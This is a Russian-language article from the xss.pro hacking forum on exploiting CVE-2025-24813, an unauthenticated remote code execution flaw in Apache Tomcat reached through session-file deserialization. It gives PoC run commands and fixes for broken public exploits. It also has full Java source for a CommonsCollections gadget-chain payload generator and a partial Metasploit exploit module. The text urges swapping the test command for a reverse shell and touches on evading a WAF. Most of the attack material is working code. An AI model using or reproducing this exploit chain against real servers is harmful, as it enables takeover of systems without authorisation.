• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Java Deserialization Attack на примере CVE-2025-24813

petrinh1988

X-pert
Эксперт
Регистрация
27.02.2024
Сообщения
243
Реакции
493
Автор petrinh1988
Источник https://xss.pro

Всем привет!

И снова десериализация. Сначала это должна была быть статья про конкретную CVE, но она достаточно быстро переросла в нечто большее. Предупреждаю, статья скорее всего будет тяжелова-той. Насколько мог упростить, упростил.

Помимо конкретной уязвимости, погрузимся в принципы работы, посмотрим как выглядят вредоносные объектные файлы Java и на чем строится эта атака на десериализацию в Java-приложении. Разберем инструментарий доступный для пентестеров и хацкеров в отношении именно Java и подобных уязвимостей. Напишем собственный генератор пэйлоада на Java, чтобы разобраться что там происходит внутри.. Порассуждаем, как можно развивать уязвимость в разных ситуациях. На финалочку, создадим свой эксплоит для Метасплоита. На текущий момент в бесплатной версии его нет. Заодно, в очередной раз порадуемся той инфраструктуре, которую дает нам фреймворк, а он дает серьезную базу. Конечно же, обсудим варианты защиты от подобных атак.

Цель статьи не просто дать инструкцию по выявлению и эксплуатации уязвимости (конечно же, белой, с разрешения владельцев сервера и без нарушения закона). Цель показать то, как все работает и дать инструментарий для законной работы.

Скорее всего, статью потребуется прочитать несколько раз. Она как лук, содержит в себе несколько слоев. Некоторые темы можно было вынести в отдельные статьи, но чтобы не распыляться, разобрал их здесь.

CVE-2025-24813​

Сегодня у нас довольно интересная уязвимость Apache Tomcat, которая дает полный и безоговорочный контроль над сервером без авторизации. То, что мы так сильно любим.

Apache Tomcat - это веб-сервер и контейнер сервлетов с открытым исходным кодом. Используется для развертывания Java приложений, например, Java Servlets, JSP (JavaServer Pages) и других компонентов Java EE (Jakarta EE). По данным W3Techs, Tomcat используют от 25% до 30% серверов. Netcraft вторит ему, помещая веб-сервер в топ-3 по количеству активных сайтов. Если верить интернетам, идеально подходит для организации REST API и легковесных веб-проектов. Короче, одни дифирамбы и овации. Пройти мимо нельзя. Тем более, сама атака достаточно простая.

Но не все так легко, должен быть соблюден ряд условий для реализации атаки. Во-первых, DefaultServlet должен быть настроен не только на чтение, но и на запись (readonly=false). Это позволит злоумышленнику загружать произвольные файлы через PUT-запрос. Включая интересующие нас .session-файлы.

Во-вторых, должна быть включена поддержка частичных PUT-запросов (запросы с указанием Content-Range). Это нужно чтобы проскочить проверку MIME-типов. По-умолчанию поддерживается, если админ не позаботился о защите.

В-третьих, нужно чтобы было включено файловое хранение сессии. Apache Tomcat, по-умолчанию, хранит информацию о сессии в памяти и нам это может помешать. Как вы уже поняли, мы снова будем подкладывать в сессию вредоносный код, который будет выполнен при десериализации.

В-четвертых, приложение использует уязвимую к десериализации библиотеку. Например, CommonsCollections, которую мы будем использовать в тестах. Хорошая новость в том, что это популярная библиотека и очень часто встречается.

Уязвимые версии Томката: 9.0.0‑M1 -> 9.0.98, 10.1.0‑M1 ->10.1.34, 11.0.0‑M1 -> 11.0.2

Принцип работы несложный. Генерируем пэйлоад и закидываем его под видом файла сессии. При следующем запросе, указываем в куки вместо идентификатора сессии имя нашего файла. Таким образом инициируется цепочка гаджетов и мы получаем RCE.

1752175073980.png


Тестирование

В этот раз нам повезло и создавать свой проект не потребуется. Есть несколько готовых вариантов. Например, проект от hakankarabacak. Чтобы установить и запустить проект, выполняем:

Bash:
git clone https://github.com/hakankarabacak/CVE-2025-24813.git
cd CVE-2025-24813
docker build -t cve-2025-24813 .
docker run --name cve-2025-24813 -it -d -p 8080:8080 cve-2025-24813
python.\cve_2025_24813.py

И… как обычно, все пошло не по плану…

1752175106936.png


Ладно, к этой ошибке мы еще вернемся, а пока возьмем рабочий скрипт, чтобы было от чего отталкиваться. В этом нам поможет проект с аккаунта u238. Запускаем контейнер точно так же, только качаем проект с другой ссылки. Команда для выполнения скрипта PoC:

Bash:
python CVE_2025_24813.py --command 'bash -c echo${IFS}$(id)>/tmp/PWN'  [URL]http://localhost:8080[/URL]

1752175130148.png


Мы видим, что скрипт отработал и все получилось. Но ни черта полезного это нам не дало. Пошли в контейнер:

1752175144949.png


Вы уже заметили, что название контейнера не то? Да, запустил первый проект, но какая разница, если почти все идентично? Но давайте вернемся к ошибке.

Проблема возникает на этапе генерации пэйлоада. В обоих скриптах, это payload.ser (хотя имя может быть почти любым). В данный файл складывается Java‑объект, сериализованный в байтовый формат с включенной цепочкой гаджетов из ysoserial.

ysoserial - специализированный инструмент для генерации пэйлоадов, сереилизованных Java‑объектов, для тестирования уязвимостей десериализации. Чуть ниже рассмотрим его подробно. Пока важно понимать, что при генерации, ysoserial использует приватные свойства других модулей, например, CommonsCollections. Но, начиная с Java 9 и выше, подобное несанкционированное поведение запрещено. По умолчанию модули не открывают свои пакеты для внешних JAR.

Код:
 Unable to make field transient java.util.HashMap java.util.HashSet.map accessible: module java.base does not "opens java.util" to unnamed module @682a0b20

Ошибка буквально говорит нам, что модуль java.base (где лежит java.util.HashSet) не объявил пакет java.util как «открытый» (opens) для внешних JAR, и потому вызов Field.setAccessible(true) запрещён — класс AccessibleObject проверил правила модуля и выбросил InaccessibleObjectException.

В итоге, у нас есть два пути. Либо переключиться на Java 8, что не особо имеет смысл. Либо добавить к вызову Java два параметра:

Код:
--add-opens java.base/java.util=ALL-UNNAMED
--add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED

Мы буквально говорим виртуальной машине Java «Открой пакет java.util внутри модуля java.base всем неназванным модулям (всем внешним JAR), и аналогично открой пакет com.sun.org.apache.xalan.internal.xsltc.trax из модуля java.xml.»

После этого AccessibleObject.checkCanSetAccessible(...) пропустит setAccessible(true) и ysoserial сможет получить и изменить приватные поля. В результате цепочка гаджетов собирается правильно, и payload‑файл генерируется без ошибок.

Чтобы первый PoC заработал, просто измените строчки, начиная с 61:

Код:
        cmd = ["java",
               "-jar", ysoserial_path, gadget,
               command,]

        cmd = ["java",
               "--add-opens", "java.base/java.util=ALL-UNNAMED",
               "--add-opens", "java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED",
               "-jar", ysoserial_path, gadget,
               command,]

Чтобы тестовый пример стал опасным оружием, достаточно заменить команду:

Bash:
bash -c echo${IFS}$(id)>/tmp/RCE

На что-то, что поддерживает сервер и позволяет организовать Reverse Shell. К слову, ${IFS} - это пробельный символ (Internal Field Separator), такой способ избежать проблем из-за пробелов. В целом, подобное построение команды сделано не просто так. Команда, выполняемая методом exec() джава-класса Runtime, выполняется не в терминальной среде. В связи с чем, на нее накладываются ограничения. Один из вариантов обхода, это как раз таки использование bash -c <command>. Тем самым, итоговая команда будет выполнена уже в рамках bash.

Как все это работает?​

Если посмотреть, Python-скрипты, мы увидим, что сначала происходит простой чек:
Python:
response = requests.put(
            check_file,
            headers={
                "Host": f"{host}:{port}",
                "Content-Length": "10000",
                "Content-Range": "bytes 0-1000/1200"
            },
            data="testdata",
            timeout=10,
            verify=verify_ssl
        )
        if response.status_code in [200, 201, 204]:
            print(f"[+] Server is writable via PUT: {check_file}")
            return True
        else:
            print(f"[-] Server is not writable (HTTP {response.status_code})")
            return False

Да, мы просто отправили PUT-запрос и получили файл на сервере. Можно было бы подумать, что в реальной жизни такое невозможно, но вот скрин одного из недавних моих сканов окунем:

1752175199660.png


Правда, в данном примере на сервере Node.js -приложение, но смысл от этого мало меняется. В реальности попадаются веб-приложения с тем, что позволяют создавать новые или перезаписывать существующие файлы простым PUT-запросом.

Этот трюк подтверждает уязвимость лишь частично. Для 100% уверенности, нам нужно выполнение опасной десериализации, но делать это отдельно от эксплуатации мало смысла. Поэтому, чекер сразу переходит к генерации вредоносного объекта при помощи ysoserial.

Готовый пэйлоад загружается на сервер при помощи PUT-запроса под именем hk1337.session. Имя может быть каким угодно, главное чтобы это был session-файл. Когда пэйлоад на месте, злоумышленник выполняет GET-запрос к приложению, указав в заголовке cookies имя файла (hk1337).

Уязвимое приложение пытается подтянуть сессию и выполняет ObjectInputStream.readObject(). В процессе восстановления структуры HashSet(), вызываются методы по типу equals, hashCode, compare и прочие. Нас интересует hashCode, который уязвим. Он инициирует выполнение цепочки гаджетов и приводит к выполнению вредоносного кода.

Разбор payload.ser​

Чтобы понять, как все работает, попробуем разобрать итоговый пэйлоад payload.ser, Для начала, удалю строчку удаления этого файла в чекере. В итоге, в руках у нас бинарный файл. Посмотреть содержимое можно при помощи PowerShell (в Linux есть xxd):

Код:
Format-Hex -Path .\payload.ser

Но как-то не очень комфортно это делать в таком виде:

1752175230260.png


Да, можно найти магическую сигнатуру Java-сериализации “AC ED 00 05” и вчитаться в значения справа. Но меня безумно не устраивает формат. Поэтому, воспользуемся специализированным инструментом SerializationDumper. После скачивания нужно сбилдить инструмент через build.bat или build.sh, после чего он готов к работе. Но передать имя файла не получится, инструмент ждет строку с значениями. В Windows можно выполнить эти команды:

Bash:
$bytes = Get-Content .\payload.ser -Encoding Byte
$hex = ($bytes | ForEach-Object { $_.ToString("X2") }) -join ""
java -jar SerializationDumper.jar $hex

В Linux можно решить проблему так:

Bash:
hexdump -v -e '/1 "%02X"' payload.ser | xargs java -jar SerializationDumper.jar

Теперь у нас есть красивый и удобный, для восприятия, вывод:

1752175242032.png


Используя SerializationDumper, получилось выяснить, что корневой объект это java.util.HashSet. HashSet это обычный набор элементов, где каждый элемент уникальный .Как, например, в Javascript Set.

1752175252022.png


Далее, два элемента сэта, которые упакованы друг в друга: TiedMapEntry и LazyMap. Это два «гаджета» из Apache Commons Collections, совместное использование которых, может позволить выполнение произвольного кода при срабатывании метода get().

1752175260726.png


На данном скрине у нас не совсем понятно, что за объекты, ниже есть более подробное описание:

1752175271010.png


TiedMapEntry является оберткой для java.util.Map.Entry. Коллекция “карт”, хранящих ключ-значение. Что-то вроде словаря, или именованного массива. Для атаки на десериализацию, хранит внутри себя ссылку на ту самую LazyMap с ключом, например, “hackerKey”.

LazyMap — это декоратор над любым java.util.Map. Под “любым”, имеется ввиду, что при создании LazyMap, передается свойство innerMap с конкретным типом Map. Это может быть, например, HashMap, как в случае этой конкретной атаки. А могут быть и другие, как TreeMap, EnumMap и т.д.

Есть нюанс. LazyMap должен ссылаться на несуществующее свойство, тогда, LazyMap автоматически запустит процесс создания, тем самым инициирует нужную нам цепочку трансформаций. Не найдя свойства, запустится что-то вроде этого:

Java:
public Object get(Object key) {
    if (!map.containsKey(key)) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    } else {
        return map.get(key);
    }
}

К несуществующему свойству мы вернемся, пока просто держите эту информацию в голове.

1752175285991.png


Вот мы и добрались до цепочки преобразований на базе фабрики ChainedTransformer. Фабриками в ООП называют классы, которые создают объекты разного типа. Сейчас речь про трансформации, соответственно, фабрика нужна для создания цепочки из нескольких разных трансформеров. Наш вредонос должен пройти через ряд преобразований, которые позволят получить объект Runtime и выполнить метод exec().

ConstantTransformer возвращает класс java.lang.Runtime, который позволяет взаимодействовать со средой выполнения
InvokerTransformer вернет метод getRuntime, который является конкретным методом для взаимодействия со средой
InvokerTransformer следующим шагом мы выполняем invoke(null), чтобы получить сам объек Runtime
InvokerTransformer и, наконец-то, имея объект мы выполняем exec(<команда>)

Что называется, почувствуйте разницу))) Подчеркну последовательность: класс -> метод класса -> объект -> выполнение exec у объекта.

Трансформеры цепляются к LazyMap, Мы буквально говорим, что при отсутствии элемента, используй эту фабрику трансформеров. Ниже продемонстрирую, как это выглядит в реальности.

Сам пэйлоад можно найти ниже, в крайнем InvokerTransformer в открытом виде:

1752175297967.png


Остается множество вопросов? Напишем свой генератор и посмотрим, как это происходит в Java-коде.

Пишем свой генератор​

Так как мы будем использовать уязвимость в CommonsCollections, как и было в примере, генератору потребуется Apache Commons Collections. Скачайте в папку в которой будет лежать Java-класс генератора. Я запихал прямо в папку с чекером.

wget https://repo1.maven.org/maven2/comm...s-collections/3.1/commons-collections-3.1.jar

Импортируем нужные нам классы из ACC:
Java:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

Все эти классы мы уже обсуждали выше, разбирая как выглядит готовый пэйлоад.

Добавим остальные импорты, которые потребуются генератору:

Java:
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.Map.Entry;

Объявим класс, дав ему звучное имя и объявим единственный нужный метод:

Java:
public class SuperPayloadGenerator {
   public static void main(String[] args) throws Exception {
   }
}

Объявим фейковый трансформер, он нужен чтобы избежать выполнения цепочки раньше времени. Если этого не сделать, мы получим выполнения команды в рантайме при генерации пэйлоада. В итоге, в код попадет результат выполнения команды, а не вредоносный код, который должен запуститься при десериализации:

Java:
Transformer fakeTransformer = new ChainedTransformer(new Transformer[]{});

Создаем LazyMap из ACC, передав ему фейковый трансформер. Повторюсь, мы буквально говорим LazyMap, если нет искомого ключа, при его добавлении используй это трансформер.Позже заменим на реальную фабрику трансформеров, содержащую целую цепочку.

Java:
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, fakeTransformer);

Следующим этапом, нужно создать TiedMapEntry и связать lazyMap с ключом “hackerKey”. Ну или как хотите назовите, не забудьте только в удалении тоже имя изменить

Java:
Entry entry = new org.apache.commons.collections.keyvalue.TiedMapEntry(lazyMap, "hackerKey");

TiedMapEntry будет играть роль триггера, запуская функцию hashCode(). В других уязвимастях десерализации, вместо hashCode может быть toString.

Помещаем entry в HashSet. Если помните, весь объект представляет собой HashSet.

Java:
Set<Object> set = new HashSet<>();
set.add(entry);

После чего удаляем ключ hackerKey из

Java:
lazyMap.remove("hackerKey");

Здесь должен возникнуть вопрос: «Что? Как удаляем? Мы же ничего не добавляли…». Вопрос правильный, краеугольный.

Ключевой момент в генерации пэйлоада​

Сейчас очень внимательно. Это крайне важный момент в генерации пэйлоада. Момент, который добавим мне седых волос и над которым я долго бился. Вопрос в том, почему мы должны удалить ключ hackerKey, который нигде не добавляли? Пока я не выполнил удаление, причем именно в этом месте кода, сгенерированные мной пэйлоады не работали. Собственно, поняв этот момент, все вопросы по материалам выше должны сняться. Да и в целом, в отношении атаки на десериализацию многое должно встать на свои места.

Когда мы запускаем наш генератор, все объекты создаются и ведут себя так же, как будут вести на сервере, после мы записываем итоговый объект в виде бинарного файла Когда мы добавляем в HashSet наш TiedMapEntry в виде объекта entry, у каждого элемента коллекции TiedMapEntry вызывается метод hashCode. Он выглядит как-то так:

Java:
public int hashCode() {
    Object value = getValue();
    return (getKey()==null   ? 0 : getKey().hashCode()) ^
           (value   ==null   ? 0 : value.hashCode());
}

Т.е., у объекта lazyMap будет вызван метод lazyMap.get() по отношению к ключу по которому он привязан в TiedMapEntry. В нашем случае это hackerKey. Вспомним, как ведет себя метод get() у LazyMap и все встанет на свои места:

Java:
public Object get(Object key) {
    if (!map.containsKey(key)) {
        Object value = factory.transform(key);
        map.put(key, value);                   // <-- вот тут hackerKey появляется
        return value;
    } else {
        return map.get(key);
    }
}

В момент генерации пэйлоада, ключ hackerKey создается неявно, просто из-за особенности поведения связки HashSet->TiedMapEntry->LazyMap. А ключевой момент в том, что трансформации запустятся только тогда, когда у lazyMap нет искомого свойства. Поэтому, после добавления в HashSet важно удалить этот ключ.

Надеюсь я смог более-менее понятно объяснить этот важный момент, а не внести больше путаницы.

Для завершения генератора пэйлоада, нужно добавить цепочку трансформацией и подменить ей фейковую цепочку, которую мы добавляли чтобы избежать выполнения рантайма на этапе генерации:

Java:
       Transformer[] realTransformers = new Transformer[] {
           new ConstantTransformer(Runtime.class),
           new InvokerTransformer("getMethod", new Class[] {
               String.class, Class[].class
           }, new Object[] {
               "getRuntime", new Class[0]
           }),
           new InvokerTransformer("invoke", new Class[] {
               Object.class, Object[].class
           }, new Object[] {
               null, new Object[0]
           }),
           new InvokerTransformer("exec", new Class[] {
               String.class
           }, new Object[] {
               "bash -c echo${IFS}$(id)>/tmp/RCE"
           })
       };

Трансформации созданы. Как видите, я не стал заморачиваться с вредоносной нагрузкой, просто взяв готовую из чекера.

Подмена фейка на нашу цепочку происходит так:

Java:
       Field transformerField = ChainedTransformer.class.getDeclaredField("iTransformers");
       transformerField.setAccessible(true);
       transformerField.set(fakeTransformer, realTransformers);

В Java есть механизм рефлексии, который позволяет анализировать и изменять структуру классов прямо во время выполнения. Благодаря Reflection мы и можем получить интересующие нас поля, сделать доступными и заменить трансформеры.

Сериализуем объект и записываем в файл:

Java:
try (ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("exploit.ser"))) {
           out.writeObject(set);
       }

Компилируем получившийся класс, не забывая новой версии Java указать на беспринципность:

Bash:
javac -cp commons-collections-3.1.jar --add-opens=java.base/java.lang=ALL-UNNAMED SuperPayloadGenerator.java

Не обращайте внимания на варнинги. Запускаем готовый генератор:

Java:
java -cp .:commons-collections-3.1.jar --add-opens=java.base/java.lang=ALL-UNNAMED SuperPayloadGenerator

В итоге, должен появиться файл exploit.ser. Я просто подложил его в чекер, отключив генерацию и заменив название файла. Все четко работает. Готовые исходники прикладываю к статье.

Мне кажется крайне важным этот блок. Понимание принципов работы гораздо важнее умения выбрать эксплоит для автоматического хака.

ysoserial и другие инуструменты для тестирования​


1752175530923.png


Ysoserial - самый популярный универсальный генератор пэйлоадов с открытым исходным кодом. На сегодняшний момент, поддерживает 34 разных пэйлоада от самых популярных, до довольно редких. Коллекция вариантов выглядит так:

Код:
    AspectJWeaver
     BeanShell1
     C3P0
     Click1
     Clojure
     CommonsBeanutils1
     CommonsCollections1 - CommonsCollections7
     FileUpload1
     Groovy1
     Hibernate1
     Hibernate2
     JBossInterceptors1
     JRMPClient
     JRMPListener
     JSON1
     JavassistWeld1
     Jdk7u21
     Jython1
     MozillaRhino1
     MozillaRhino2
     Myfaces1
     Myfaces2
     ROME
     Spring1
     Spring2
     URLDNS
     Vaadin1
     Wicket1

Программа принимает на вход тип пэйлоада и команду, которую хочет выполнить пользователь при успешной атаки на десериализацию. Команда заворачивается в цепочку гаджетов, в соответствии с типом пэйлоада, и сериализует объект. На выходе получаем готовый двоичный файл. Остается только доставить и получить результат.

В Метасплоите используется, как основной генератор пэйлоадов. Так же, активно используется в расширениях для Burp Suite, например, Java Deserialization Scanner — сфокусировано на поиске проблем десериализации джава-приложений, Freddy и других.

Из минусов можно выделить то, что набор пэйлоадов хоть и широк, но обновляется он недостаточно часто. Сфокусирован на JDK ObjectInputStream. Многие цепочки уже устарели, хотя… как показывает практика, иногда случаются регрессии CVE и что-то забытое начинает снова работать. Есть смысл покопаться в форках. Например, этот поддерживает более широкий список пэйлоадов. Раньше был замечательный форк ysoserial-modified, который позволял выполнить оптимизацию, хотя бы на уровне выбора типа терминала: cmd, bash, PowerShell. Но его не обновляли уже 8 лет…

Второй минус в том, что про обход WAF придется позаботиться самостоятельно. Это абсолютно отдельная тема, так как вариаций множество и сильно зависит от ситуации. Где-то можно будет проскочить через банальный Base64 и Hex. Где-то можно попробовать работать через слепой RCE, избегая прямого выполнения шумных команд. В других случаях, может помочь JNDI-инъекция, когда через javax.naming.InitialContext можно загрузить класс с удаленного сервера. Как вариант, можно было бы попытаться разбить строки, но в базовой версии ysoserial это не особо осущветсвимо. Потребуется поработать над исходниками.

Генератор ysoserial с Web GUI​

Кому неудобно работать через CLI, есть проект SerializedPayloadGenerator. Парни заморочились и объединили несколько топовых инструментов для генерации пэйлоадов. Из плюсов, поддерживает не только Java, но и .NET, PHP, Python. Из минусов, придется повозиться с установкой. Работает на Windows. Ну и, в остально, минусы ysoserial никуда не деваются.

Marshalsec​

Очень крутой инструмент. Умеет, как генерировать гаджет-цепочки для различных фреймворков и сериализаторов: JDK, XStream, Jackson, Hessian, Kryo, SnakeYAML, Castor и др

1752175554239.png


Кроме того, позволяет проводить тестирование этих пэйлоадов, включая получение RCE. Поддерживает разные виды атак:
System Command Execution – исполнение произвольных системных команд.
Remote Classloading – загрузка классов с HTTP-сервера (plain или ServiceLoader).
JNDI References – LDAP или RMI клиент-сервер схема для достижения RCE

К сожалению, не поддерживает CommonsCollections6. По идее, можно заморочиться и добавить поддержку, но это не входит в рамки статьи.

Java Deserialization Scanner​

Из-за особенностей CVE-2025-24813, большинство инструментов не сможет задетектить её. Но просто перечислять инструменты нет никакого смысла, поэтому буду использовать эту лабу PortSwigger.

JSD - это плагин для Burp Suite. Его задача, в автоматическом режиме попытаться подобрать подходящую цепочку гаджетов для атаки. На этот случай у него есть несколько вариаций для обнаружения: sleep, два варианта чека по DNS-запросам и CPU (фактически DoS, поэтому аккуратнее с этим режимом)..

Устанавливается JSD без проблем из магазина расширений. По крайней мере, в не жадной версии.

Чтобы выполнить тестирование, в лабе нужно залогиниться и найти любой запрос с куками, который можно свободно выполнять. Например, этот GET:

Код:
GET /my-account?id=wiener HTTP/2
Host: 0a8a0081039ffee480ac30040009009c.web-security-academy.net
Cookie: session=rO0ABXNyAC9sYWIuYWN0aW9ucy5jb21tb24uc2VyaWFsaXphYmxlLkFjY2Vzc1Rva2VuVXNlchlR/OUSJ6mBAgACTAALYWNjZXNzVG9rZW50ABJMamF2YS9sYW5nL1N0cmluZztMAAh1c2VybmFtZXEAfgABeHB0ACBmNjZrOGx4djI4OTBncHVidmprOHp0ODE2OTh4YnRqa3QABndpZW5lcg%3d%3d
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Chromium";v="137", "Not/A)Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Referer: https://0a8a0081039ffee480ac30040009009c.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

От rO0… до %3d%3d сериализованный объект. Жмем на запросе правой кнопкой мыши, выбираем Extensions -> JDS -> Manual testing.

Перейдя на вкладку, мы увидим примерно следующее:

1752175583316.png


Выделяем сериализованный объект и жмем “Set Insertion Point”. Таким образом, указываем куда вставлять пэйлоад, а также функцию, которую будет пытаться выполнить пэйлоад на тестируемой машине. Я выбрал SLEEP. Ниже выбираем варианты процессинга полезной нагрузки. Жмем Attack и ждем завершения (вывод справа).

1752175594266.png


Поздравляю, Java Deserialization Scanner обнаружил цепочку гаджетов, которая заставила приложение уснуть на 30 секунд. Значит нам есть с чем работать.

Из муторного, то что нужно очень внимательно подходить к вопросу подготовки пэйлоада. Например, если в процессинге пэйлоада поменять очередность, все сломается:

1752175605949.png

1752175616958.png


Поведение абсолютно понятное, но неочевидное.

Как писал выше, JDS работает с ysoserial, Делает тоже самое, что мы выполняли в Python-скрипте. Просто в автомате перебирает варианты уязвимых библиотек, указывая функцию sleep, как исполняемую. Когда вектор найден, нужно просто переключиться в в эксплуатацию и к запросу добавить команду, которую хотим выполнить на сервере.

GadgetProbe​

Бывают ситуации, когда JDS не сможет подобрать ничего, но мы хотели бы иметь хоть какие-то зацепки. GadgetProbe может их дать. Смысл утилиты в том, чтобы попытаться брут-форсом найти доступные классы в приложении.

Принцип работы GP отличается. Во-первых, атака производится через интрудер. Поэтому, сначала нужно выискать запрос, который может как-то обрабатывать сериализованные данные. Закинуть его в интрудер. После чего в режиме Simple List загрузить словарь. Пример словаря можно глянуть здесь. Это просто список классов, чтобы он превратился в нужный пэйлоад для атаки, добавляем процессор пэйлоадов:

1752175632749.png


Сама по себе атака в Интрудере не принесет результатов. Дело в том, что GadgetProbe генерирует пэйлоад который отправит DNS-запрос в случае успеха. Когда прилетает DNS, он сопоставляется с идентификатором отправленного пэйлоада и успешные классы попадут в список найденных на закладке расширения. На основании этих данных, можно пробовать выстраивать собственную цепочку гаджетов и атаковать.

Наши тестовые приложения не подходят для подобных переборов, поэтому GP ничего не найдет. Во-первых, чтобы пейлоад сработал, нужна конкретная цепочка, а не просто запакованные данные с классом. Во-вторых, предполагается несколько запросов, хотя это меньшее из зол… можно было бы после серии PUT-запросов с пронумерованными пейлоадами, запустить пачку GET-запросов с подстановкой. В третьих, сервер должен быть в состоянии выполнить DNS-запрос. Лаба PS это не сделает, существующий докер-контейнер тоже просто так не сделает. Задача GP не в формировании атаки, задача перебор классов.

1752175648052.png


У GP есть несколько вариаций: расширение для Burp, CLI и библиотека для встраивания в собственные приложения. Кроме того, существует замечательный форк, как GadgetSmith, который нужен чтобы работать с GP из привычных Python-скриптов.

Тема Java десериализаций интересная и многогранная, а значит и инструментов огромное множество. Выше привел, на мой взгляд, наиболее востребованные вещи. Кто-то скажет, что есть более достойные инструменты, но это больше дело вкуса. Я лишь продемонстрировал примеры, которые могут помочь. Пора бы идти дальше…

Пишем модуль для Metasploit​

Недавно, на форуме была тема про то, используется ли Metasploit в боевых условиях. Я не стал отвечать, но вот вам мысль которую есть смысл усвоить - Метасплоит в коробочной версии, возможно, не всегда подходит под ваши задачи. Но Метасплоит, в первую очередь, это фреймворк. Серьезная экосистема, которая дает возможность лепить что угодно, забирая всякую рутину на себя. Помимо всем известного механизма создания и удержания устойчивых сессий, того же Метерпретера, есть еще много чего интересного. Данная уязвимость как нельзя хорошо подходит для демонстрации этого.

Мы познакомимся с Msf::Exploit::JavaDeserialization, специализированном инструменте, встроенном в метасплоит. Хотя, конечно же, это буквально ysoserial, но без какого-либо геморроя, просто готовые пэйлоады за считанные секунды. Генератор поддерживает обширный набор из двадцати двух возможных цепочек гаджетов под самые популярные уязвимые классы.

У JavaDeserialization есть два метода, реализующие два отличных подхода:

generate_java_deserialization_for_payload - используется для передачи одного из payload Метасплоита. В результате работы мы получим полноценную сессию.

generate_java_deserialization_for_command - используется для выполнения конкретной команды в операционной системе, при этом нужно указать в какой оболочке будет происходить выполнение команды (bash, cmd, PowerShell).

Сделаем оба варианта. Начнем с полного переноса Python-скрипта. Вдаваться в подробности модулестроения не стану, подробнее можно посмотреть в других моих статьях: здесь и здесь. Инициализация модуля выглядит так:

Ruby:
##
# This module requires Metasploit: https://metasploit.com/download
##


class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking


  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::JavaDeserialization


  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache Tomcat PUT Session Deserialization RCE (CVE-2025-24813)',
        'Description' => %q{
          This module exploits a Java deserialization vulnerability in Apache Tomcat
          with session persistence enabled. It uploads a malicious .session file via
          HTTP PUT and triggers it via a crafted JSESSION_ID cookie.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Hakan Karabacak',
          'Petrinh1988@xss.pro'
        ],
        'References' => [
          ['CVE', '2025-24813']
        ],
        'Platform' => ['unix'],
        'Arch' => ARCH_CMD,
        'Targets' => [
          [
            'Unix Command Execution',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/generic'
              }
            }
          ]
        ],
        'DisclosureDate' => '2025-03-10',
        'Privileged' => false,
        'DefaultTarget' => 0
      )
    )


    register_options(
      [
        OptString.new('TARGETURI', [true, 'Base path of the Tomcat app', '/']),
        OptString.new('GADGET_CHAIN', [true, 'Gadget chain to use', 'CommonsCollections6']),
        OptString.new('JSESSION_ID', [false, 'Session ID to use', 'hk1337']),
        OptEnum.new('TERMINAL_PLATFORM', [true,'Target platform to generate the deserialization payload for','bash',['bash', 'cmd', 'powershell']]),
        OptInt.new('WritableCheckTimeout', [true, 'Timeout for PUT check', 10])
      ]
    )
  end


end

Объявили список интересующих нас опций и указали через ARCH_CMD, что эксплоит будет использовать не бинарный код, а строковую команду, которая будет выполнена в оболочке.

Чекер перенесем как есть. В обоих модулях, чекер будет выглядеть абсолютно одинаково:

Ruby:
def check
    print_status('Checking if the server is writable via PUT...')

    random_filename = Rex::Text.rand_text_alpha(8) + '.txt'
    random_data = Rex::Text.rand_text_alpha(12)
    test_uri = normalize_uri(target_uri.path, random_filename)

    begin
      put_res = send_request_cgi({
        'method' => 'PUT',
        'uri' => test_uri,
        'headers' => {
          'Content-Length' => random_data.length.to_s,
          'Content-Range' => 'bytes 0-1000/1200'
        },
        'data' => random_data
      }, datastore['WritableCheckTimeout'])


      unless put_res && [200, 201, 204, 409].include?(put_res.code)
        print_warning("PUT request failed (HTTP #{put_res&.code})")
        return CheckCode::Safe
      end


      print_status("PUT succeeded with HTTP #{put_res.code}. Verifying with GET...")


      get_res = send_request_cgi({
        'method' => 'GET',
        'uri' => test_uri
      }, 5)


      if get_res && get_res.body && get_res.body.include?(random_data)
        print_good('Writable check successful: data echoed correctly via GET.')
        return CheckCode::Appears
      else
        print_warning('GET request did not return expected data. Server may block reads.')
        return CheckCode::Detected
      end


    rescue ::Rex::ConnectionError => e
      print_error("Connection failed: #{e}")
      return CheckCode::Unknown
    end
  end

Отправляем PUT-запрос с именем файла и случайным содержимым. После проверяем GET-запросом, был ли создан файл и есть ли в содержимом наши данные. Здесь вопросов не должно возникнуть.

Проверяем:

1752175771436.png


В докер-контейнере в папке webapps/ROOT файл появился:

1752175782875.png


Переходим к функции эксплуатации:

Ruby:
def exploit
    session_id = datastore['JSESSION_ID'] || 'hk1337'
    gadget = datastore['GADGET_CHAIN']
    command = payload.raw
    shell_type = datastore['TERMINAL_PLATFORM'].to_str


    print_status("Generating serialized payload for #{shell_type} using #{gadget} gadget and command: #{command}")
    begin
